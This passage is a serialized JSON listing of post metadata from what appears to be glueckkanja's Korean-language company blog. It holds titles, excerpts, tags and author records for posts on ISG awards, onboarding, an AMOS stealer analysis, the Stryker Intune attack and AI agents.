glueckkanja",[1280],"ISG는 올해 연구의 이름을 바꿨습니다. Microsoft Cloud Ecosystem은 Microsoft AI and Cloud Ecosystem이 되었고, 이름과 함께 기준도 옮겨 갔습니다. 이제 평가 대상은 누가 Microsoft 플랫폼을 도입하는지가 아니라, 누가 Copilot과 에이전트, AI 워크로드를 통제 가능하게 운영하는지입니다. 새로운 기준은 저희의 위치를 바꾸지 않았습니다. ISG Provider Lens® 연구 독일 2026은 저희를 네 개 사분면의 Leader로 포지셔닝합니다. Microsoft Productivity and Business Process Services와 Azure Managed Services에서 각각 Large Market과 Mid Market입니다. 2021년, 2023년, 2024년, 2025년에 이어 독일에서 다섯 번째 Leader 등급이며, 스위스에서는 2주 전에 Leader 사분면으로의 도약이 있었습니다.",{"lang":1042,"date":1484,"categories":1485,"blogtitlepic":1487,"customExcerpt":1488},"2026-08-08",[1486],"Corporate","head-isg-de-2026.png","ISG Provider Lens® 연구 2026은 독일에서 glueckkanja를 네 개 사분면의 Leader로 포지셔닝했습니다. Microsoft Productivity and Business Process Services와 Azure Managed Services에서 각각 Large Market과 Mid Market입니다. 연구의 이름은 이제 Microsoft AI and Cloud Ecosystem이 되었고, 기준도 옮겨 갔습니다. 평가 대상은 AI와 에이전트 워크로드를 통제 가능하게 운영하는 곳입니다.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[1492,1493],"Award","ISG",{"id":1495,"title":1496,"author":1497,"cta":494,"description":1498,"hideInRecent":484,"layout":1040,"meta":1499,"moment":1500,"path":1504,"stem":1505,"tags":1506,"webcast":484},"content_ko/posts/2026-07-31-isg-switzerland-2026.md","Rising Star에서 Leader로. ISG 스위스 연구 2026 속 glueckkanja",[1280],"2024년 저희는 glueckkanja Switzerland AG를 설립하고 베른 Bahnhofplatz 10b의 zentroom에 사무실을 마련했습니다. 2025년 ISG는 스위스 시장에서 저희를 Rising Star로 분류했습니다. 애널리스트들이 Leader 사분면으로 도약할 것으로 보는 공급업체라는 뜻이었습니다. 이제 그 도약이 기록되었습니다. ISG Provider Lens® 연구 2026은 스위스에서 저희를 Microsoft AI and Cloud Ecosystem 사분면의 Leader로, Azure Managed Services와 Microsoft Productivity and Business Process Services 영역에서 포지셔닝했습니다.",{"lang":1042,"date":1500,"categories":1501,"blogtitlepic":1502,"customExcerpt":1503},"2026-07-31",[1486],"head-isg-ch-2026.png","ISG Provider Lens® 연구 2026은 스위스에서 glueckkanja를 Microsoft AI and Cloud Ecosystem 사분면의 Leader로, Azure Managed Services와 Microsoft Productivity and Business Process Services 영역에서 포지셔닝했습니다. 베른 시장 진출 2년 만에, Rising Star 선정 1년 만의 일입니다.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[1492,1493],{"id":1508,"title":1509,"author":1510,"cta":494,"description":577,"hideInRecent":484,"layout":1040,"meta":1511,"moment":1512,"path":1516,"stem":1517,"tags":1518,"webcast":484},"content_ko/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. OpenAI/Hugging Face 사건이 말해 주는 것과 말해 주지 않는 것",[1253],{"lang":1042,"date":1512,"categories":1513,"blogtitlepic":1514,"customExcerpt":1515},"2026-07-24",[1047],"head-outbreak.jpg","AI 에이전트가 자신의 테스트 환경에서 탈출해 제로데이를 찾아내고 다른 기업을 해킹했습니다. 각본처럼 들리지만 2026년 7월에 실제로 일어난 일입니다. 이제 차분하게 자리를 잡아 볼 시간입니다. 약간의 심리학, 두 명의 보안 베테랑, 그리고 이것이 여러분의 방어에 무엇을 의미하는지에 대한 질문과 함께.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[1519,1085,1476],"AI",{"id":1521,"title":1522,"author":1523,"cta":494,"description":1524,"hideInRecent":484,"layout":1040,"meta":1525,"moment":1526,"path":1530,"stem":1531,"tags":1532,"webcast":484},"content_ko/posts/2026-07-22-isg-cybersecurity-2026.md","Leader 그리고 Rising Star. ISG 사이버보안 연구 2026 속 glueckkanja",[1280],"사분면에 새로 진입해 곧바로 Leader가 되었습니다. ISG Provider Lens® 연구 \"Cybersecurity – Services and Solutions 2026\"은 glueckkanja를 독일 중견·중소기업을 위한 Next-Gen SOC/MDR Services 영역의 Leader로 포지셔닝했습니다. Next-Gen SOC/MDR Services 전체 시장에서 ISG는 저희를 Rising Star로 선정했습니다. 즉, 애널리스트들이 향후 12~24개월 안에 Leader 사분면으로 도약할 것으로 보는 공급업체라는 뜻입니다.",{"lang":1042,"date":1526,"categories":1527,"blogtitlepic":1528,"customExcerpt":1529},"2026-07-22",[1486],"head-isg-cybersecurity-2026.png","ISG Provider Lens® 연구 Cybersecurity 2026이 glueckkanja를 Next-Gen SOC/MDR Services(Midmarket) 사분면의 Leader로 선정했습니다. Next-Gen SOC/MDR Services 전체 시장에서는 저희가 Rising Star입니다. ISG는 저희의 시장 평균을 웃도는 성장, 깊은 Microsoft 보안 전문성, 그리고 독일에서 운영되는 24/7 SOC를 인정했습니다.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[1492,1493,1047],{"id":1534,"title":1535,"author":1536,"cta":494,"description":1537,"hideInRecent":484,"layout":1040,"meta":1538,"moment":1539,"path":1542,"stem":1543,"tags":1544,"webcast":484},"content_ko/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: AI가 실제로 일하려면 무엇이 필요한가",[1280],"어느 제조 기업이 자사의 SKU 14,000개 중 실제로 수익을 내는 것이 무엇인지 알고 싶어 합니다. 그 답은 단 하나의 데이터 포인트도 서로 주고받은 적이 없는 세 개의 시스템에 흩어져 있습니다. 얼마 전까지만 해도 그 답을 얻는 데는 세 개 부서와 2주, 그리고 상당한 선의가 필요했습니다. 2026년 초부터는 AI가 이 질문에 몇 분 안에 답할 수 있습니다. 데이터를 뒤지고, 연관 관계를 만들고, 권고안을 내놓는 것입니다. 단, AI가 접근할 수 있다는 전제에서입니다.",{"lang":1042,"date":1539,"categories":1540,"blogtitlepic":1541},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[1519,131],{"id":1546,"title":1547,"author":1548,"cta":494,"description":1549,"hideInRecent":484,"layout":1040,"meta":1550,"moment":1551,"path":1555,"stem":1556,"tags":1557,"webcast":484},"content_ko/posts/2026-07-01-onboarding-process.md","계약서에 서명하셨습니다. 저희 온보딩은 이렇게 진행됩니다",[1371],"온보딩은 실제로 어떻게 진행되나요? 지원자들과 이야기를 나누다 보면 거듭 마주치는 질문입니다. 온보딩이 삐걱대며 흘러가는 경험을 이미 해 본 분이 많기 때문입니다. 그래서 저희는 처음부터 여러분이 좋은 느낌을 받으실 수 있도록 하는 것을 더욱 중요하게 생각합니다.",{"lang":1042,"date":1551,"categories":1552,"blogtitlepic":1553,"customExcerpt":1554},"2026-07-01",[1486],"Onboarding_Blogheader","계약서에 서명을 마쳤고, 가장 큰 첫걸음은 이미 내디뎠습니다. 그렇다면 이제 어떻게 될까요? PreBoarding부터 팀에서 보내는 첫 주까지, 저희 온보딩의 무대 뒤로 여러분을 안내합니다.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[1558,1559,1560],"Employer Branding","Onboarding","Unternehmenskultur",{"id":1562,"title":1563,"author":1564,"cta":494,"description":1565,"hideInRecent":484,"layout":1040,"meta":1566,"moment":1567,"path":1571,"stem":1572,"tags":1573,"webcast":484},"content_ko/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: 우리는 그 일원입니다",[1280],"Microsoft 파트너 생태계에는 다양한 인증이 존재하지만, Frontier Partner Badge는 그 구조 자체에서 다른 인증들과 구별됩니다. 이 배지는 신청할 수 있는 것이 아니라, Microsoft의 주도로 극소수의 파트너에게만 부여되며, 대상 파트너는 한 가지 분야에서 두각을 나타내는 것이 아니라 여러 분야에서 동시에 역량을 입증해야 합니다. 이때 Microsoft는 Cloud & AI Platforms, AI Business Solutions, Security 세 영역에서 입증된 역량을 동일한 비중으로 검증하며, 이를 통해 AI를 기존 IT 위에 얹는 부가물로 이해하는 것이 아니라 아이덴티티에서 엔드포인트를 거쳐 실제 운영 중인 AI까지 이어지는 일관된 아키텍처의 결과로 이해하는 기업을 대상으로 삼습니다.",{"lang":1042,"date":1567,"categories":1568,"blogtitlepic":1569,"customExcerpt":1570},"2026-06-26",[1486],"head-frontier-partner-badge.jpg","얼마 전 Microsoft AI Cloud Partner Program에 새로운 최고 등급의 인증인 Frontier Partner Badge가 도입되었습니다. Microsoft는 이 배지를 전 세계에서 극소수의 파트너에게만 부여하는데, 이들은 업무 환경에서 클라우드 플랫폼과 보안을 거쳐 AI 애플리케이션 자체에 이르기까지 Microsoft 스택 전반에서 AI 프로젝트를 지속 가능하게 제공하며, 이러한 역량을 실제 현장에서 입증한 파트너입니다. DACH 지역에서 이 그룹에 속하는 기업은 손에 꼽을 정도이며, 우리는 그중 하나입니다.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[1492,1574,1519],"Microsoft Partner",{"id":1576,"title":1577,"author":1578,"cta":494,"description":1579,"hideInRecent":484,"layout":1040,"meta":1580,"moment":1581,"path":1585,"stem":1586,"tags":1587,"webcast":484},"content_ko/posts/2026-06-09-vair-run.md","좋은 뜻을 위한 160킬로미터",[1378],"일요일 아침 8시 30분, 마인강 변 Holbeinsteg. 통일된 NinjaCat 셔츠를 입은 열한 명의 동료가 Frankfurter Runden을 준비하고 있습니다. 비, 번개, 천둥까지 함께였습니다. 좋은 뜻을 위해 달린다는 것은, 궂은 날씨에도 러닝화 끈을 조여 매기에 충분한 동기였습니다.",{"lang":1042,"date":1581,"categories":1582,"blogtitlepic":1583,"customExcerpt":1584},"2026-06-08",[1486],"frankfurter-runden.png","열한 명의 동료, 16바퀴, 160킬로미터, 뇌우 한 차례 그리고 시상대 입상: glueckkanja는 Frankfurter Runden 2026에 참가했고, 달린 한 바퀴마다 Offenbach에 포용적인 스포츠·문화 공원을 짓고 있는 VAIR e.V.에 기부했습니다.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[1588,1558,1589],"Top Arbeitgeber","Soziales Engagement",{"id":1591,"title":1592,"author":1593,"cta":494,"description":1594,"hideInRecent":484,"layout":1040,"meta":1595,"moment":1596,"path":1600,"stem":1601,"tags":1602,"webcast":484},"content_ko/posts/2026-04-10-incident-to-intelligence.md","알려지지 않은 AMOS 스틸러의 해부: 알림에서 몇 시간 만에 면역까지",[1359],"우리 SOC에서 알림이 발생하면 시계가 돌아가기 시작합니다. 해당 고객뿐 아니라 우리 보호 아래에 있는 모든 조직에 대해서 말입니다. 현대 위협 환경에서 가장 위험한 순간은 인텔리전스 갭(Intelligence Gap), 즉 새로운 멀웨어 변종이 처음 사용된 시점과 업계가 그것을 알게 되는 날 사이의 시간 창입니다.",{"lang":1042,"date":1596,"categories":1597,"blogtitlepic":1598,"customExcerpt":1599},"2026-04-10",[1047],"head-amos-stealer.png","지금까지 문서화되지 않은 AMOS 스틸러 변종이 macOS 엔드포인트를 침해했습니다. 알려진 해시도, 공개 데이터베이스의 C2 데이터도 없었습니다. 우리 SOC는 여섯 겹의 난독화 계층을 해체하고 모든 지표를 추출한 뒤, 업계가 이 샘플을 미처 보기도 전에 몇 시간 만에 모든 SOC 고객에게 보호를 배포했습니다.","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[1603,1604,1605,1606,1607],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center",{"id":1609,"title":1610,"author":1611,"cta":494,"description":1612,"hideInRecent":484,"layout":1040,"meta":1613,"moment":1614,"path":1617,"stem":1618,"tags":494,"webcast":484},"content_ko/posts/2026-03-21-microsoft-edge-corporate-browser.md","Edge가 유일한 Corporate Browser여야 하는 이유",[1149],"기업 환경에서 브라우저의 선택은 전략적 결정입니다. 이는 실제로 얼마나 많은 보안과 관리 부담을 갖게 되는지에 직접적인 영향을 미칩니다. Google Chrome은 오랫동안 당연한 선택지였지만, Microsoft Edge는 특히 Microsoft 365가 사용되고 관리가 Intune을 통해 이루어지는 경우 기존 스택에 직접 연결되는 브라우저로 발전했습니다.",{"lang":1042,"date":1614,"blogtitlepic":1615,"customExcerpt":1616},"2026-03-21","head-microsoft-edge-default-browser.jpg","Chrome를 진정으로 선택한 기업은 없습니다. 그저 그 자리에 있었을 뿐이며, 자체 동기화 로직과 자체 계정 관리, 자체 정책 인터페이스를 가지고 있었습니다. 반면 Microsoft Edge는 이미 가동 중인 인프라, 즉 Entra ID, Intune, Defender에 직접 연결됩니다. 이 글에서는 전환이 어떤 모습인지, Chrome을 Intune 정책으로 어떻게 랜딩 페이지로 리디렉션하는지, 그리고 두 개의 브라우저를 병행 운영하는 것을 멈추면 무엇이 사라지는지를 보여드립니다.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":1620,"title":1621,"author":1622,"cta":494,"description":1623,"hideInRecent":484,"layout":1040,"meta":1624,"moment":1625,"path":1629,"stem":1630,"tags":1631,"webcast":484},"content_ko/posts/2026-03-20-stryker-attack-intune-privilege.md","관리자 계정 하나면 충분했습니다.",[1253],"2026년 3월 11일 수요일. 79개국의 Stryker 사무실 직원들은 컴퓨터를 켰고, 화면이 비어 있는 것을 발견했습니다. 로그인 화면은 하나의 로고로 대체되어 있었습니다. 회사 노트북, 업무용 휴대폰, 그리고 회사의 BYOD 프로그램에 등록된 개인 기기까지 모두 동시에, 하룻밤 사이에 초기화되었습니다. 랜섬웨어도, 멀웨어 시그니처도, 엔드포인트 탐지 도구가 잡아낼 수 있었던 그 어떤 것도 없었습니다.",{"lang":1042,"date":1625,"categories":1626,"blogtitlepic":1627,"customExcerpt":1628},"2026-03-20",[1047],"head-stryker.jpg","2026년 3월 11일, Handala는 79개국의 기기를 초기화했고, 그 모든 것에 필요했던 것은 침해된 Intune 관리자 계정 하나였습니다. 멀웨어도, 익스플로잇도 없었고, 오직 정당한 관리 도구가 그 소유자를 겨냥했을 뿐입니다. 무슨 일이 있었는지, 왜 그것이 통했는지, 그리고 어떤 두 가지 아키텍처 허점을 막아야 하는지 살펴봅니다.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,1475,1476],{"id":1633,"title":1634,"author":1635,"cta":494,"description":1636,"hideInRecent":484,"layout":1040,"meta":1637,"moment":1638,"path":1642,"stem":1643,"tags":1644,"webcast":484},"content_ko/posts/2026-03-16-ai-agent-hackathon.md","여섯 개의 Agent. 4주. 실제 운영.",[1280],"여러분의 IT 부서는 Agent가 몇 분이면 처리할 수 있는 작업에 매주 몇 시간을 쓰고 있습니까?",{"lang":1042,"date":1638,"categories":1639,"blogtitlepic":1640,"customExcerpt":1641},"2026-03-16",[1486],"head-ai-agent-hackathon.jpg","여섯 개 기업, 4주간의 구축 단계, 여섯 개의 실제로 작동하는 AI Agent. 이것이 첫 번째 glueckkanja AI Agent 해커톤이었습니다. Kiekert, Dr. Oetker, Eckes-Granini, igefa 그리고 lila logistik은 Copilot Studio에서 오늘날 실제로 운영되는 Agent를 구축했습니다. 그 과정에서 무엇이 만들어졌고 이 포맷이 어떻게 작동하는지 소개합니다.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[1519,1645,1646,1647],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":1649,"Fritz Zurhorst":1650,"Nadine Klein":1651,"Jan Geisbauer":1652,"Carolin Kanja":1656,"Anna Ulbricht":1657,"Annette Brauns":1658,"Pascal Asch":1659,"Steffen Schwerdtfeger":1660},{"display_name":1118,"avatar":1119,"permalink":1120,"twitter":1121,"linkedin":1122,"imageOffsetTop":1123,"imageOffsetLeft":1124},{"display_name":523,"avatar":1094,"permalink":1095,"linkedin":1096,"imageOffsetTop":1097},{"display_name":524,"avatar":1113,"permalink":1114,"twitter":1115,"linkedin":1116,"imageOffsetTop":1097},{"display_name":1253,"avatar":1254,"permalink":1255,"twitter":1256,"linkedin":1256,"imageOffsetTop":1097,"socials":1653},[1654,1655],{"text":1259,"href":1260},{"text":1262,"href":1263},{"display_name":1280,"avatar":1281,"permalink":1282,"twitter":1283,"linkedin":1284},{"display_name":1371,"avatar":1372,"permalink":1373,"linkedin":1374,"imageOffsetTop":1375,"imageOffsetLeft":1376},{"display_name":1378,"avatar":1379,"permalink":1380,"linkedin":1381,"imageOffsetTop":1382,"imageOffsetLeft":1123},{"display_name":1359,"avatar":1360,"permalink":1361,"linkedin":1362,"imageOffsetTop":1196},{"display_name":1149,"avatar":1150,"permalink":1151,"linkedin":1152,"twitter":1153,"imageOffsetTop":1154,"imageOffsetLeft":1155},{"id":1089,"extension":1090,"meta":1662,"stem":8,"__hash__":1440},{"Fritz Zurhorst":1663,"Nadine Klein":1664},{"display_name":523,"avatar":1094,"permalink":1095,"linkedin":1096,"imageOffsetTop":1097},{"display_name":524,"avatar":1113,"permalink":1114,"twitter":1115,"linkedin":1116,"imageOffsetTop":1097},1791383941025]